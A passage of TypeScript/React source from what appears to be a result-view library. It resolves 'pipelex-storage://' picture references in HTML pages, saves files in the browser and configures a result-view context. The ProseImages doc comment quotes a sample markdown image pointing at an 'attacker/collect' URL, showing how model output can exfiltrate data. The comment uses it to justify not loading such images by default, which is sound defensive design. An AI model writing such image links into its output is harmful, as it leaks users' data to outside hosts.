exchanged for URLs a\n * browser can load before the page is framed, rasterised or saved.\n *\n * A method that renders a page (a quote, an invoice) embeds the pictures it\n * produced as `<img src=\"pipelex-storage://…\">`. The file arms of the result\n * view hand such a reference to the host's resolver, but a page is markup, and\n * nothing inside it went through that seam: the frame's policy refuses the\n * scheme, so every picture showed as a broken image, and a host had to rewrite\n * the markup itself before handing it over. Here it is done once, for every\n * place a page goes: the preview, the PDF and the HTML download.\n *\n * ## What is read, and how\n *\n * The markup is parsed with `DOMParser`, never searched with a pattern, because\n * an attribute value a regex finds may be inside a comment, a `<textarea>` or\n * another attribute, and an `<img>` it misses may be spelled with single\n * quotes, no quotes or an uppercase tag. A `DOMParser` document is inert: no\n * script runs and nothing is fetched while it is read. A whole document is\n * parsed as one; a fragment is parsed as a `<template>`'s content, which keeps\n * a leading `<style>` or `<meta>` where it was rather than moving it into a\n * head the fragment never had.\n *\n * The references read are the ones a page fetches as a picture: `src` and\n * `srcset` on `<img>` and `<source>`, a `<video>`'s `poster`, the legacy\n * `background` attribute, an SVG `<image>`'s `href`, and every CSS `url()` in a\n * `style` attribute or a `<style>` element (inside CSS, which is text, the\n * `url()` tokens are found with a pattern; the HTML around them never is).\n *\n * ## How each reference is answered\n *\n * Every distinct reference is asked for once. When the host gave a bulk\n * resolver (`resolveUrls`), all of them go in one call, which is one round trip\n * for a page with twenty pictures; its answer is then checked by the URL gate\n * (`viewableUrl`), as every resolver's answer is. A reference the bulk answer\n * left out, or answered with something the gate refuses, is asked of the\n * per-reference resolver (`resolveUrl`) next. A reference neither answers is\n * left as it was: the picture stays broken, and the page still shows.\n *\n * A bulk resolver that rejects, throws or takes longer than `timeoutMs` is\n * read as having answered nothing, so a page never waits on it for good.\n *\n * ## What comes back\n *\n * The markup with each answered reference replaced, serialised from the parsed\n * tree. Markup holding no reference that changed comes back as the very same\n * string, so a page with no stored pictures is never re-serialised.\n */\n\n/** Answers a batch of stored references; see `ResultEnvProvider`'s `resolveUrls`. */\nexport type ResolveUrls = (\n uris: readonly string[],\n) => Promise<\n | ReadonlyMap<string, string | null | undefined>\n | Readonly<Record<string, string | null | undefined>>\n>;\n\nexport interface MarkupResolvers {\n /** One reference at a time, synchronously, as the result view's file arms ask. */\n resolveUrl?: (url: string) => string | undefined;\n /** Every reference of the page in one call. Asked first when present. */\n resolveUrls?: ResolveUrls;\n}\n\n/** How long a page waits on a bulk resolver before it shows without its answer. */\nexport const MARKUP_RESOLVE_TIMEOUT_MS = 10_000;\n\nconst STORAGE_SCHEME = 'pipelex-storage:';\n\n/**\n * Whether the markup may hold a stored reference at all: a substring test, so a\n * page with none is never parsed. It decides only whether to look, never what a\n * reference is.\n */\nexport function mayHoldStorageRefs(markup: string): boolean {\n return markup.toLowerCase().includes('pipelex-storage');\n}\n\nfunction isStorageRef(value: string): boolean {\n return value.trim().toLowerCase().startsWith(STORAGE_SCHEME);\n}\n\n/** The parsed markup, and how to write it back out. */\ninterface ParsedMarkup {\n root: ParentNode;\n serialize: () => string;\n}\n\nfunction parseMarkup(markup: string): ParsedMarkup | undefined {\n if (typeof DOMParser === 'undefined') return undefined;\n const parser = new DOMParser();\n if (isWholeDocument(markup)) {\n const doc = parser.parseFromString(markup, 'text/html');\n return {\n root: doc,\n serialize: () =>\n (doc.doctype ? `<!DOCTYPE ${doc.doctype.name}>` : '') + doc.documentElement.outerHTML,\n };\n }\n const doc = parser.parseFromString('<!doctype html><body></body>', 'text/html');\n const template = doc.createElement('template');\n template.innerHTML = markup;\n return { root: template.content, serialize: () => template.innerHTML };\n}\n\n/** A CSS `url()` token: its quote, and what it holds. */\nconst CSS_URL = /url\\(\\s*(['\"]?)(.*?)\\1\\s*\\)/gi;\n\n/** One `srcset` candidate: the URL, and its descriptor when it has one. */\ninterface SrcsetCandidate {\n url: string;\n descriptor: string;\n}\n\n/**\n * A `srcset` value read as the HTML specification's candidate list: a URL is a\n * run of non-space characters, trailing commas end a candidate with no\n * descriptor, and a descriptor runs to the next comma outside parentheses.\n */\nfunction parseSrcset(value: string): SrcsetCandidate[] {\n const candidates: SrcsetCandidate[] = [];\n let at = 0;\n while (at < value.length) {\n while (at < value.length && /[\\s,]/.test(value[at] ?? '')) at += 1;\n if (at >= value.length) break;\n const start = at;\n while (at < value.length && !/\\s/.test(value[at] ?? '')) at += 1;\n let url = value.slice(start, at);\n if (url.endsWith(',')) {\n url = url.replace(/,+$/, '');\n candidates.push({ url, descriptor: '' });\n continue;\n }\n let depth = 0;\n const descriptorStart = at;\n while (at < value.length) {\n const char = value[at];\n if (char === '(') depth += 1;\n else if (char === ')') depth = Math.max(0, depth - 1);\n else if (char === ',' && depth === 0) break;\n at += 1;\n }\n candidates.push({ url, descriptor: value.slice(descriptorStart, at).trim() });\n }\n return candidates;\n}\n\n/** A URL written back into CSS: quoted, with the characters that would end the string escaped. */\nfunction cssUrl(url: string): string {\n return `url(\"${url.replace(/[\\\\\"]/g, (char) => `\\\\${char}`).replace(/[\\n\\r\\f]/g, ' ')}\")`;\n}\n\n/**\n * Every place in the parsed markup a picture's URL is written, as a reader of\n * the references it holds and a writer that replaces them. One walk, so the\n * references collected and the references rewritten cannot disagree.\n */\ninterface UrlSite {\n refs: () => string[];\n /** Rewrite through `answer`; true when anything changed. */\n rewrite: (answer: (ref: string) => string | undefined) => boolean;\n}\n\nfunction attributeSite(element: Element, name: string): UrlSite {\n return {\n refs: () => {\n const value = element.getAttribute(name) ?? '';\n return isStorageRef(value) ? [value.trim()] : [];\n },\n rewrite: (answer) => {\n const value = element.getAttribute(name) ?? '';\n if (!isStorageRef(value)) return false;\n const url = answer(value.trim());\n if (url === undefined) return false;\n element.setAttribute(name, url);\n return true;\n },\n };\n}\n\nfunction srcsetSite(element: Element, name: string): UrlSite {\n const read = () => parseSrcset(element.getAttribute(name) ?? '');\n return {\n refs: () => read().flatMap(({ url }) => (isStorageRef(url) ? [url] : [])),\n rewrite: (answer) => {\n let changed = false;\n const candidates = read().map((candidate) => {\n if (!isStorageRef(candidate.url)) return candidate;\n const url = answer(candidate.url);\n if (url === undefined) return candidate;\n changed = true;\n // A resolved URL may carry a comma or a space, which would split the\n // candidate; percent-encoding them leaves the same URL to a browser.\n return { ...candidate, url: url.replace(/,/g, '%2C').replace(/\\s/g, '%20') };\n });\n if (changed) {\n element.setAttribute(\n name,\n candidates\n .map(({ url, descriptor }) => (descriptor ? `${url} ${descriptor}` : url))\n .join(', '),\n );\n }\n return changed;\n },\n };\n}\n\nfunction cssSite(read: () => string, write: (css: string) => void): UrlSite {\n return {\n refs: () =>\n Array.from(read().matchAll(CSS_URL), (match) => (match[2] ?? '').trim()).filter(isStorageRef),\n rewrite: (answer) => {\n let changed = false;\n const css = read().replace(CSS_URL, (token, _quote: string, inner: string) => {\n const ref = inner.trim();\n if (!isStorageRef(ref)) return token;\n const url = answer(ref);\n if (url === undefined) return token;\n changed = true;\n return cssUrl(url);\n });\n if (changed) write(css);\n return changed;\n },\n };\n}\n\nfunction urlSites(root: ParentNode): UrlSite[] {\n const sites: UrlSite[] = [];\n for (const element of Array.from(root.querySelectorAll('*'))) {\n const tag = element.localName;\n if (tag === 'img' || tag === 'source') {\n sites.push(attributeSite(element, 'src'), srcsetSite(element, 'srcset'));\n }\n if (tag === 'video') sites.push(attributeSite(element, 'poster'));\n if (tag === 'image') {\n sites.push(attributeSite(element, 'href'), attributeSite(element, 'xlink:href'));\n }\n if (element.hasAttribute('background')) sites.push(attributeSite(element, 'background'));\n if (element.hasAttribute('style')) {\n sites.push(\n cssSite(\n () => element.getAttribute('style') ?? '',\n (css) => element.setAttribute('style', css),\n ),\n );\n }\n if (tag === 'style') {\n sites.push(\n cssSite(\n () => element.textContent ?? '',\n (css) => {\n element.textContent = css;\n },\n ),\n );\n }\n }\n return sites;\n}\n\n/** The distinct stored references the markup's pictures name, in document order. */\nexport function storageRefsIn(markup: string): string[] {\n if (!mayHoldStorageRefs(markup)) return [];\n const parsed = parseMarkup(markup);\n if (!parsed) return [];\n return Array.from(new Set(urlSites(parsed.root).flatMap((site) => site.refs())));\n}\n\n/**\n * The markup with each stored reference replaced by `answer`'s URL. A reference\n * it answers `undefined` for is left as it was; markup with nothing replaced\n * comes back as the same string.\n */\nexport function rewriteStorageRefs(\n markup: string,\n answer: (ref: string) => string | undefined,\n): string {\n if (!mayHoldStorageRefs(markup)) return markup;\n const parsed = parseMarkup(markup);\n if (!parsed) return markup;\n let changed = false;\n for (const site of urlSites(parsed.root)) {\n if (site.rewrite(answer)) changed = true;\n }\n return changed ? parsed.serialize() : markup;\n}\n\n/** A bulk answer, read the same way whichever of the two shapes the host returned. */\nexport type BulkAnswer = (ref: string) => string | undefined;\n\nfunction readBulk(result: unknown): BulkAnswer {\n if (result instanceof Map) {\n return (ref) => {\n const url: unknown = result.get(ref);\n return typeof url === 'string' ? url : undefined;\n };\n }\n if (result !== null && typeof result === 'object') {\n const record = result as Record<string, unknown>;\n return (ref) => {\n const url = ownProp(record, ref);\n return typeof url === 'string' ? url : undefined;\n };\n }\n return () => undefined;\n}\n\n/**\n * Ask the bulk resolver for every reference, in one call, for as long as it\n * takes. Never rejects: a resolver that throws or rejects answers nothing.\n */\nexport async function askBulkUntimed(\n resolveUrls: ResolveUrls,\n refs: readonly string[],\n): Promise<BulkAnswer> {\n try {\n return readBulk(await resolveUrls(refs));\n } catch {\n return () => undefined;\n }\n}\n\n/**\n * Ask the bulk resolver for every reference, in one call. Never rejects: a\n * resolver that throws, rejects or answers nothing usable is an answer of\n * nothing, and so is one still running after `timeoutMs`.\n */\nexport async function askBulk(\n resolveUrls: ResolveUrls,\n refs: readonly string[],\n timeoutMs: number = MARKUP_RESOLVE_TIMEOUT_MS,\n): Promise<BulkAnswer> {\n let timer: ReturnType<typeof setTimeout> | undefined;\n const timeout = new Promise<BulkAnswer>((resolve) => {\n timer = setTimeout(() => resolve(() => undefined), timeoutMs);\n });\n const asked = askBulkUntimed(resolveUrls, refs);\n try {\n return await Promise.race([asked, timeout]);\n } finally {\n clearTimeout(timer);\n }\n}\n\n/**\n * The answer for one reference: the bulk answer when the URL gate admits it,\n * else the per-reference resolver's when the gate admits that, else none. The\n * gate's own normalised string is the one written into the page.\n */\nexport function answerFor(\n bulk: BulkAnswer | undefined,\n resolveUrl: MarkupResolvers['resolveUrl'],\n): (ref: string) => string | undefined {\n return (ref) => {\n const fromBulk = viewableUrl(bulk?.(ref));\n if (fromBulk !== undefined) return fromBulk;\n try {\n return viewableUrl(resolveUrl?.(ref));\n } catch {\n return undefined;\n }\n };\n}\n\n/**\n * The markup with every stored reference its pictures name resolved through\n * the host's resolvers; see the module comment for the order they are asked in.\n * Never rejects, and never waits on a bulk resolver past `timeoutMs`.\n */\nexport async function resolveHtmlStorageUrls(\n markup: string,\n { resolveUrl, resolveUrls }: MarkupResolvers,\n { timeoutMs = MARKUP_RESOLVE_TIMEOUT_MS }: { timeoutMs?: number } = {},\n): Promise<string> {\n if (!resolveUrl && !resolveUrls) return markup;\n try {\n const refs = storageRefsIn(markup);\n if (refs.length === 0) return markup;\n const bulk = resolveUrls ? await askBulk(resolveUrls, refs, timeoutMs) : undefined;\n return rewriteStorageRefs(markup, answerFor(bulk, resolveUrl));\n } catch {\n // A page whose pictures could not be resolved is still the page.\n return markup;\n }\n}\n","import type { SaveFailure, SaveFile, SaveResult } from '../core/save-plan';\n\n/**\n * Save one blob under a name, through the anchor the browser understands.\n *\n * Object URLs are revoked on the next tick rather than immediately: Safari\n * starts the download asynchronously and a URL revoked in the same frame can be\n * gone before the fetch begins, which fails silently — no error, no file.\n */\nfunction saveBlob(blob: Blob, filename: string): void {\n const href = URL.createObjectURL(blob);\n const anchor = document.createElement('a');\n anchor.href = href;\n anchor.download = filename;\n document.body.appendChild(anchor);\n anchor.click();\n anchor.remove();\n setTimeout(() => URL.revokeObjectURL(href), 0);\n}\n\n/** Inline content is text, and says which encoding it is in. */\nfunction blobType(mimeType: string): string {\n return /^(text\\/|application\\/json)/.test(mimeType) && !/charset=/i.test(mimeType)\n ? `${mimeType};charset=utf-8`\n : mimeType;\n}\n\n/**\n * The default delivery: the planned files, saved by this browser tab.\n *\n * Inline content is written straight into a blob. A URL is fetched and its\n * bytes saved under the planned name. The fetch is same-origin for a host that\n * proxies its storage, and works cross-origin only where the server sends a\n * CORS header, so a file that cannot be read is REPORTED rather than recovered.\n *\n * There used to be a recovery: open the URL in a new tab when the fetch failed.\n * It could not run. The fetch is awaited, so by the time it failed the click\n * that started the download was spent, and a popup blocker suppresses a window\n * opened outside a click, silently, inside a `catch` that also swallowed the\n * reason. Reporting the file instead is what lets the control that asked tell\n * the reader, and the reader still has the file's own link in the rendered\n * view.\n *\n * This is also what a host gets from `ResultEnvProvider` when it supplies no\n * `saveFiles` of its own, and it is exported for a host that wants to fall back\n * to it, from a bridge that is not always there.\n */\nexport async function saveInBrowser(files: readonly SaveFile[]): Promise<SaveResult> {\n const failed: SaveFailure[] = [];\n for (const file of files) {\n try {\n if (file.text !== undefined) {\n saveBlob(new Blob([file.text], { type: blobType(file.mimeType) }), file.name);\n continue;\n }\n const response = await fetch(file.url);\n if (!response.ok) throw new Error(`HTTP ${response.status}`);\n saveBlob(await response.blob(), file.name);\n } catch (error) {\n failed.push({ file, reason: error instanceof Error ? error.message : String(error) });\n }\n }\n return { failed };\n}\n","'use client';\n\nimport { createContext, use, useCallback, useMemo, type ReactNode } from 'react';\nimport type { SaveFile, SaveFiles, SaveResult } from '../core/save-plan';\nimport type { StuffFileKind } from '../core/stuff-files';\nimport { absoluteUrl } from './absolute-url';\nimport { resolveHtmlStorageUrls, type MarkupResolvers, type ResolveUrls } from './markup-storage';\nimport { saveInBrowser } from './save-in-browser';\n\nexport type { ResolveUrls } from './markup-storage';\n\n/**\n * The host's seam for turning a stored reference into something a browser can\n * fetch.\n *\n * ## Why a result view needs one at all\n *\n * A run's files do not come back as public URLs. They come back as\n * `pipelex-storage://…` references, which are an identity in the runtime's\n * store and resolve nowhere in a browser. Without a way to exchange them, every\n * file arm in the result view degrades to naming the file — a PDF that cannot\n * be previewed, an image gallery of blank tiles — and no amount of care in\n * those arms can fix it, because the missing thing is a fact only the host has.\n *\n * ## Why it is SYNCHRONOUS\n *\n * The obvious shape is `(uri) => Promise<string | null>`, and it is the wrong\n * one here. It would put a loading state, a race and an effect into every arm\n * that paints a file — inside table cells and gallery tiles, which are the\n * places least able to carry them — and a gallery of twenty images would make\n * twenty independent round trips as it scrolled.\n *\n * A host that resolves by REWRITING (the common case: map the reference onto\n * its own `/assets` route, which checks ownership and streams the object) has\n * no round trip to make and is served exactly by a pure function. A host that\n * genuinely must presign is better off resolving the run's references in one\n * batch — it holds the payload before it renders it — and closing over the\n * result, which is also the only shape that does not make a gallery quadratic.\n *\n * So the seam is a pure function, and the async case is a lookup in a map the\n * host filled. That is a real constraint on a host and it is stated rather than\n * hidden.\n *\n * ## The contract\n *\n * Return `undefined` for a reference this host cannot resolve, and the view\n * falls back to naming the file — which is what it does with no resolver at\n * all. Never return a URL that will 404: a broken image tile says less than a\n * filename.\n */\nexport type ResolveUrl = (url: string) => string | undefined;\n\n/**\n * What the view asks a host for when it draws a picture small: the width it\n * would like the picture to be, in the picture's own pixels.\n *\n * It is the width that covers the box the view draws the picture in, at twice\n * the box's CSS size, so the copy stays sharp on a high-density screen, and it\n * follows the picture's shape when the payload states its `width` and\n * `height`. A gallery's tile is a square narrower than 288 CSS pixels that\n * the picture covers: `576` for a square or portrait picture, and `576` times\n * the aspect ratio for a landscape one, which covers the square by its\n * height. A table cell's thumbnail is 40 CSS pixels tall at the picture's own\n * width: `80` times the aspect ratio, and never less than `256`. A picture of\n * no stated shape is asked for at `576` in a tile and `256` in a cell. The\n * view reads these from the shape rather than measuring each box, so a host\n * that makes its copies on demand keeps few per picture, and may round a\n * width up to the nearest copy it keeps.\n */\nexport interface RenditionRequest {\n width: number;\n}\n\n/**\n * The host's seam for a SMALLER copy of a picture, which the view draws where\n * it shows the picture small: a gallery's tiles and a table cell's thumbnail.\n *\n * ## Why a result view needs one\n *\n * Without it every tile loads the whole picture: a generated image is around\n * a megabyte at 1024 pixels, drawn in a box of 150. A gallery of six spins for\n * seconds before a single tile shows, and a table with a picture per row loads\n * every original to draw a thumbnail 40 pixels tall. The kernel cannot make a\n * smaller copy itself, since it holds a reference and the host holds the file;\n * a host that can (a resizing route, copies made when the file was stored, an\n * image service in front of its storage) answers here.\n *\n * ## The contract\n *\n * Called with the picture's own `url` member, exactly as `resolveUrl` is (a\n * `pipelex-storage://` reference, or whatever `http(s):` or `data:` URL the\n * payload carries), and the {@link RenditionRequest}. Answer the URL of a copy\n * of that picture at least `width` pixels wide (or the original's own width,\n * where the original is narrower), keeping its aspect ratio, or `undefined`\n * to have the view draw the whole picture, which is exactly what it does with\n * no such function. Synchronous and pure, for the reasons `ResolveUrl` gives:\n * a host that presigns its copies resolves them in a batch before it renders\n * and closes over the result.\n *\n * - **The answer passes the URL gate**, as any resolver's does, and an answer\n * the gate refuses counts as none.\n * - **It only ever paints.** The copy is the `src` of that one small picture\n * and nothing else: the viewer the picture opens, its \"open the original\"\n * link, its copy control and every download keep the whole picture's URL,\n * chosen as before (`resolveUrl`, then `public_url`, then `url`). A copy\n * therefore never becomes the file a reader opens, saves or shares, and is\n * never framed.\n * - **It is asked only about a picture the view can already paint.** A copy\n * makes a picture lighter; it never makes one showable that is not, so a\n * stored reference neither `resolveUrl` nor the payload can paint is still\n * named rather than drawn.\n * - **A copy that does not load gives way to the whole picture**, so a\n * missing copy costs the reader the wait, never the picture.\n */\nexport type ResolveRendition = (url: string, request: RenditionRequest) => string | undefined;\n\n/**\n * How a stored reference becomes a URL that works OUTSIDE this page — pasted\n * into another tab, another app, a colleague's message.\n *\n * Separate from `resolveUrl`, because the two answer different questions and a\n * host's answers genuinely differ. A display URL may be a path on the host's\n * own origin behind its session (`/api/assets/…`), which is what lets a strict\n * `img-src 'self'` policy stand and what keeps a picture from expiring while\n * the tab is open. That URL is useless on the clipboard: whoever pastes it has\n * no session. A share URL therefore carries its own credential — a freshly\n * minted presigned URL — and is minted per click rather than held, because it\n * starts expiring the moment it exists.\n *\n * Async for the same reason: minting one is a round trip. Omit it and the copy\n * control falls back to the display URL, which is right for a host whose\n * storage is public anyway.\n */\nexport type ResolveShareUrl = (url: string) => Promise<string | undefined>;\n\n/**\n * What a `prose` value's markdown images do — and the default is not to load\n * them.\n *\n * A prose value is MODEL OUTPUT, and `![](https://attacker/collect?…)` in it is\n * a request the browser makes the moment the result is painted, before anyone\n * has read a word. Nothing was clicked and nothing was consented to, so the\n * exfiltration channel is open by default in a view whose whole content is\n * untrusted. `'link'` closes it: the image renders as a link carrying its alt\n * text, so nothing the model wrote is lost and the fetch waits for a click.\n *\n * `'load'` is the opt-in, for a host that knows where its prose images come\n * from — a method that composes a report out of its own stored figures, say.\n * Only `http:` and `https:` are ever painted or linked either way.\n */\nexport type ProseImages = 'link' | 'load';\n\n/**\n * Which download controls a result view draws, each set on its own.\n *\n * Apps want different things here: one shows only the download of the whole\n * result, another only a download on each image, a third both, a fourth\n * neither because it saves results its own way. So the two are independent,\n * and the per-file one can be narrowed to the kinds of file that should carry\n * it.\n *\n * Set once on `ResultEnvProvider`, because a file's own button is drawn deep\n * inside the result (a gallery tile, a table row's detail, a nested record) and\n * has to follow the setting whether or not a `StuffViewer` wraps it.\n * `StuffViewer`'s own `downloads` prop overrides it, key by key, for that one\n * panel.\n *\n * Hiding a control never disables saving: a host with its own save UI still\n * plans with `planStuffSave` and delivers through its own function.\n */\nexport interface DownloadDisplay {\n /** The header control that saves the whole result. Drawn unless `false`. */\n result?: boolean;\n /**\n * Each file's own download button: on every file when `true` (the default),\n * on none when `false`, or only on the kinds listed — `'image'`,\n * `'document'`, and `'markup'` for an HTML page.\n */\n files?: boolean | readonly StuffFileKind[];\n /**\n * The \"Download PDF\" control on each HTML page, which makes a PDF of the\n * page in the browser and saves it. Drawn unless `false`.\n */\n pdf?: boolean;\n /**\n * Ask the reader for the file's name before each download, in a dialog\n * pre-filled with the name the plan chose. Off unless `true`.\n *\n * It is a behaviour of every download control rather than a control of its\n * own, which is why it sits beside the three that say which are drawn: the\n * PDF, the page's HTML, a file's own button, and the whole-result download.\n * A whole-result download saving one file asks for that file's name; one\n * saving several asks for the name they share, the base name, which names\n * the JSON copy and every file the payload did not name itself.\n */\n askFileName?: boolean;\n}\n\n/**\n * What a table of records does when its container is narrower than its\n * columns.\n *\n * `'scroll'`, the default, keeps every column a column and lets the table\n * scroll sideways, which suits a builder's panel where the columns are worth\n * comparing. `'stack'` is for a reader on a phone, where nothing should scroll\n * sideways: a table of up to three columns stays a table and wraps; one of four\n * to six becomes, while its own box is narrower than 640px, one block of label\n * and value pairs per row; one of more than six does so at every width. The\n * count is the columns the table shows, after `tableColumns`, and the width is\n * the table's own, read by a container query rather than off the viewport, so\n * a result panel beside a sidebar stacks on a wide screen too. See\n * `docs/result-view.md`.\n */\nexport type TableLayout = 'scroll' | 'stack';\n\n/** An HTML page handed to a host's own PDF maker. */\nexport interface PdfPage {\n /**\n * The page as one standalone document: the frame document the preview shows,\n * under the same policy (no scripts, the same `img-src` and `font-src`), with\n * the stored pictures it names already resolved. A host that prints it\n * elsewhere, on a server, can fetch only what those resolvers answered as a\n * real URL or inline data: a `blob:` URL belongs to the reader's tab.\n */\n html: string;\n /** The PDF's document title, when the reader's file name gives one. */\n title?: string;\n}\n\n/**\n * How a host makes the PDF of an HTML page itself, typically on a server with\n * a print engine, which keeps the text as text: selectable, searchable and\n * editable. Resolve to the PDF's bytes; reject and the control shows its\n * failure. Unset, the PDF is made in the browser (`renderHtmlPdf`), whose pages\n * are pictures.\n */\nexport type RenderPdf = (page: PdfPage) => Promise<Blob>;\n\ninterface ResultEnv {\n resolveUrl?: ResolveUrl;\n /**\n * Every stored reference an HTML page's pictures name, resolved in one call.\n *\n * A `native.Html` page embeds the pictures its method produced as\n * `pipelex-storage://` references (`<img src>`, `srcset`, a CSS `url()`),\n * which the frame cannot load. Before the page is shown, made into a PDF or\n * downloaded as HTML, the view collects the distinct references it holds and\n * hands them here, once, and writes each URL this answers into the page.\n *\n * Async and BULK, unlike `resolveUrl`, because a page is the one place every\n * reference is known at once, and a host that presigns can mint them all in\n * one round trip. Answer a `Map` or a plain record from reference to URL;\n * leave a reference out, or answer `null`, for one this host cannot resolve.\n * Each answer passes the URL gate like any resolver's.\n *\n * Optional. Unset, or for a reference it leaves out, each reference is asked\n * of `resolveUrl`; neither answering leaves that picture broken and the page\n * shown. A call that rejects or takes longer than ten seconds is read as no\n * answer, so a page is never held back by it for good.\n */\n resolveUrls?: ResolveUrls;\n /**\n * A smaller copy of a picture, for the places the view draws one small: a\n * gallery's tiles and a table cell's thumbnail. Optional; unset, or for a\n * picture it does not answer, the whole picture is drawn. See\n * {@link ResolveRendition}.\n */\n resolveRendition?: ResolveRendition;\n resolveShareUrl?: ResolveShareUrl;\n proseImages?: ProseImages;\n /**\n * How saved files reach the reader. Every download goes through it: the\n * whole-result control and each file's own button alike, each handing it the\n * files to save as a plan (a name, a media type, and the URL the gate\n * admitted or the inline text).\n *\n * Unset, files are saved by the browser tab (`saveInBrowser`), which fetches\n * each URL and saves the bytes through an object URL and a clicked link. A\n * host whose view runs in a sandboxed frame is refused all of that, and\n * supplies a function that asks the host to deliver the files instead —\n * passing the URLs on as links, since a host's download bridge fetches links\n * itself.\n *\n * It reports the files it could not deliver rather than throwing, so the\n * control can tell the reader which ones did not arrive.\n */\n saveFiles?: SaveFiles;\n /** Which download controls are drawn. Both, on every kind of file, when unset. */\n downloads?: DownloadDisplay;\n /**\n * How many data columns a table of records shows. Five when unset.\n *\n * A record with more fields than this keeps the columns a reader decides on —\n * its name first, then the values that fit a cell whole — and the rest move\n * into the row's detail, one click away. The columns shown keep the order the\n * method's author wrote them in. A record within the budget shows every field.\n *\n * It is a COUNT rather than a width the view measures, and that is the point:\n * a count renders the same table on a server, in a test and in a browser,\n * where a measured budget would change the table's shape after hydration, and\n * differently from one host to the next. A host that knows its panel is wide\n * raises it; `Infinity` shows every column. A value below one reads as one,\n * which is the record's name alone.\n */\n tableColumns?: number;\n /**\n * What a table of records does in a container narrower than its columns:\n * scroll sideways (`'scroll'`, the default) or stack its rows (`'stack'`).\n * See {@link TableLayout}.\n */\n tableLayout?: TableLayout;\n /**\n * The host's own PDF maker, which \"Download PDF\" calls instead of making the\n * PDF in the browser. See {@link RenderPdf}.\n */\n renderPdf?: RenderPdf;\n /**\n * Whether the host draws the result inside a panel of its own. Its tables\n * then draw no box of their own, keeping their header band and their row\n * rules: a table's rounded hairline inside the host's panel read as a box\n * in a box, under every app style. Unset, every table keeps its box, as on\n * a bare page, where the box is what says where the table ends. Only the\n * host knows whether a panel surrounds the result.\n */\n framed?: boolean;\n}\n\nconst ResultEnvContext = createContext<ResultEnv>({});\n\nexport function ResultEnvProvider({\n resolveUrl,\n resolveUrls,\n resolveRendition,\n resolveShareUrl,\n proseImages,\n tableColumns,\n tableLayout,\n saveFiles,\n downloads,\n renderPdf,\n framed,\n children,\n}: ResultEnv & { children: ReactNode }) {\n const env = useMemo(\n () => ({\n resolveUrl,\n resolveUrls,\n resolveRendition,\n resolveShareUrl,\n proseImages,\n tableColumns,\n tableLayout,\n saveFiles,\n downloads,\n renderPdf,\n framed,\n }),\n [\n resolveUrl,\n resolveUrls,\n resolveRendition,\n resolveShareUrl,\n proseImages,\n tableColumns,\n tableLayout,\n saveFiles,\n downloads,\n renderPdf,\n framed,\n ],\n );\n return <ResultEnvContext value={env}>{children}</ResultEnvContext>;\n}\n\n/**\n * The provider's settings with one panel's own laid over them, for everything\n * beneath: its download display key by key, its table layout and whether a\n * host's panel frames it. Internal: it is how `StuffViewer`'s `downloads`,\n * `tableLayout` and `framed` props reach the file buttons and the tables\n * drawn deep inside its tree.\n */\nexport function PanelEnvOverride({\n downloads,\n tableLayout,\n framed,\n children,\n}: {\n downloads: DownloadDisplay | undefined;\n tableLayout: TableLayout | undefined;\n framed: boolean | undefined;\n children: ReactNode;\n}) {\n const env = use(ResultEnvContext);\n const result = downloads?.result;\n const files = downloads?.files;\n const pdf = downloads?.pdf;\n const askFileName = downloads?.askFileName;\n const merged = useMemo(() => {\n const ownDownloads =\n result !== undefined || files !== undefined || pdf !== undefined || askFileName !== undefined;\n if (!ownDownloads && tableLayout === undefined && framed === undefined) return env;\n return {\n ...env,\n ...(tableLayout === undefined ? {} : { tableLayout }),\n ...(framed === undefined ? {} : { framed }),\n ...(ownDownloads\n ? {\n downloads: {\n result: result ?? env.downloads?.result,\n files: files ?? env.downloads?.files,\n pdf: pdf ?? env.downloads?.pdf,\n askFileName: askFileName ?? env.downloads?.askFileName,\n },\n }\n : {}),\n };\n }, [env, result, files, pdf, askFileName, tableLayout, framed]);\n return <ResultEnvContext value={merged}>{children}</ResultEnvContext>;\n}\n\n/**\n * The resolver, already applied.\n *\n * Every file arm calls this rather than reading the context and remembering to\n * apply it: `useResolvedUrl(url)` is the URL to actually use, and a component\n * that forgets to call it is the bug this shape prevents. An unresolvable\n * reference comes back as the reference, so the arms' own `viewableUrl` check\n * still decides whether it can be linked or only named — and, when it can, what\n * string they use.\n */\nexport function useResolvedUrl(url: string): string {\n return use(ResultEnvContext).resolveUrl?.(url) ?? url;\n}\n\n/** For the non-React readers that need the same answer (previewability). */\nexport function useResolveUrl(): ResolveUrl | undefined {\n return use(ResultEnvContext).resolveUrl;\n}\n\n/**\n * The two resolvers an HTML page's stored pictures are answered by, stable\n * while the host's functions are, for the page's preview, PDF and download.\n */\nexport function useMarkupResolvers(): MarkupResolvers {\n const { resolveUrl, resolveUrls } = use(ResultEnvContext);\n return useMemo(() => ({ resolveUrl, resolveUrls }), [resolveUrl, resolveUrls]);\n}\n\n/** The host's smaller copies of a picture, when it supplies them. */\nexport function useResolveRendition(): ResolveRendition | undefined {\n return use(ResultEnvContext).resolveRendition;\n}\n\n/** The share-URL minter, when the host supplies one. */\nexport function useResolveShareUrl(): ResolveShareUrl | undefined {\n return use(ResultEnvContext).resolveShareUrl;\n}\n\n/**\n * How saved files reach the reader: the host's function, or the browser tab's,\n * wrapped so that every control asking can rely on the answer.\n *\n * - A root-relative URL is made absolute against this document before it is\n * handed over, so a host delivering outside the view's frame reads\n * `/api/assets/x` as the view did rather than against its own page.\n * - A delivery that throws, before returning a promise or by rejecting one,\n * has delivered nothing it can vouch for, so every file is reported failed. A\n * host function that is not `async` and throws on a missing bridge would\n * otherwise leave the control that asked waiting for good, and say nothing.\n * So has one that resolves to something with no `failed` list.\n * - An HTML page saved as its text has the stored references its pictures name\n * resolved first, through the same resolvers its preview used, so the saved\n * file shows its pictures when opened.\n */\nexport function useSaveFiles(): SaveFiles {\n const save = use(ResultEnvContext).saveFiles ?? saveInBrowser;\n const resolvers = useMarkupResolvers();\n return useCallback((files) => deliver(save, files, resolvers), [save, resolvers]);\n}\n\nasync function deliver(\n save: SaveFiles,\n files: readonly SaveFile[],\n resolvers: MarkupResolvers,\n): Promise<SaveResult> {\n const handed = await Promise.all(\n files.map(async (file): Promise<SaveFile> => {\n if (file.url !== undefined) return { ...file, url: absoluteUrl(file.url) };\n if (file.mimeType !== 'text/html') return file;\n return { ...file, text: await resolveHtmlStorageUrls(file.text, resolvers) };\n }),\n );\n try {\n // Read as a host may actually answer: one typed loosely, a bridge that\n // resolves `any`, can hand back an object with no `failed` list. It cannot\n // vouch for anything then, and reading the list off it would throw inside\n // the control that asked, which for a file's button is a render error that\n // takes the whole view down.\n const result = (await save(handed)) as Partial<SaveResult> | undefined;\n if (Array.isArray(result?.failed)) return { failed: result.failed };\n return 